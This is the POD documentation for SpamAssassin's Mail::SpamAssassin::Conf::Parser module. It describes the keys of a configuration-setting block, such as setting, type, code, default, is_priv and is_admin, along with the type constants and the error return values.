Mail::SpamAssassin::Conf::Parser - parse SpamAssassin configuration

=head1 SYNOPSIS

  (see Mail::SpamAssassin)

=head1 DESCRIPTION

Mail::SpamAssassin is a module to identify spam using text analysis and
several internet-based realtime blocklists.

This class is used internally by SpamAssassin to parse its configuration files.
Please refer to the C<Mail::SpamAssassin> documentation for public interfaces.

=head1 STRUCTURE OF A CONFIG BLOCK

This is the structure of a config-setting block.  Each is a hashref which may
contain these keys:

=over 4

=item setting

the name of the setting it modifies, e.g. "required_score". this also doubles
as the default for 'command' (below). THIS IS REQUIRED.

=item command

The command string used in the config file for this setting.  Optional;
'setting' will be used for the command if this is omitted.

=item aliases

An [aryref] of other aliases for the same command.  optional.

=item type

The type of this setting:

 - $CONF_TYPE_NOARGS: must not have any argument, like "clear_headers"
 - $CONF_TYPE_STRING: string
 - $CONF_TYPE_NUMERIC: numeric value (float or int)
 - $CONF_TYPE_BOOL: boolean (0/no or 1/yes)
 - $CONF_TYPE_TEMPLATE: template, like "report"
 - $CONF_TYPE_ADDRLIST: list of mail addresses, like "welcomelist_from"
 - $CONF_TYPE_HASH_KEY_VALUE: hash key/value pair, like "describe" or tflags
 - $CONF_TYPE_STRINGLIST list of strings, stored as an array
 - $CONF_TYPE_IPADDRLIST list of IP addresses, stored as an array of SA::NetSet
 - $CONF_TYPE_DURATION a nonnegative time interval in seconds - a numeric value
                      (float or int), optionally suffixed by a time unit (s, m,
                      h, d, w), seconds are implied if unit is missing

If this is set, and a 'code' block does not already exist, a 'code' block is
assigned based on the type.

In addition, the SpamAssassin test suite will validate that the settings
do not 'leak' between users.

Note that C<$CONF_TYPE_HASH_KEY_VALUE>-type settings require that the
value be non-empty, otherwise they'll produce a warning message.

=item code

A subroutine to deal with the setting.  ONE OF B<code> OR B<type> IS REQUIRED.
The arguments passed to the function are C<($self, $key, $value, $line)>,
where $key is the setting (*not* the command), $value is the value string,
and $line is the entire line.

There are two special return values that the B<code> subroutine may return
to signal that there is an error in the configuration:

C<$Mail::SpamAssassin::Conf::MISSING_REQUIRED_VALUE> -- this setting requires
that a value be set, but one was not provided.

C<$Mail::SpamAssassin::Conf::INVALID_VALUE> -- this setting requires a value
from a set of 'valid' values, but the user provided an invalid one.

C<$Mail::SpamAssassin::Conf::INVALID_HEADER_FIELD_NAME> -- this setting
requires a syntactically valid header field name, but the user provided
an invalid one.

Any other values -- including C<undef> -- returned from the subroutine are
considered to mean 'success'.

It is good practice to set a 'type', if possible, describing how your settings
are stored on the Conf object; this allows the SpamAssassin test suite to
validate that the settings do not 'leak' between users.

=item default

The default value for the setting.  may be omitted if the default value is a
non-scalar type, which should be set in the Conf ctor.  note for path types:
using "__userstate__" is recommended for defaults, as it allows
Mail::SpamAssassin module users who set that configuration setting, to receive
the correct values.

=item is_priv

Set to 1 if this setting requires 'allow_user_rules' when run from spamd.

=item is_admin

Set to 1 if this setting can only be set in the system-wide config when run
from spamd.  (All settings can be used by local programs run directly by the
user.)
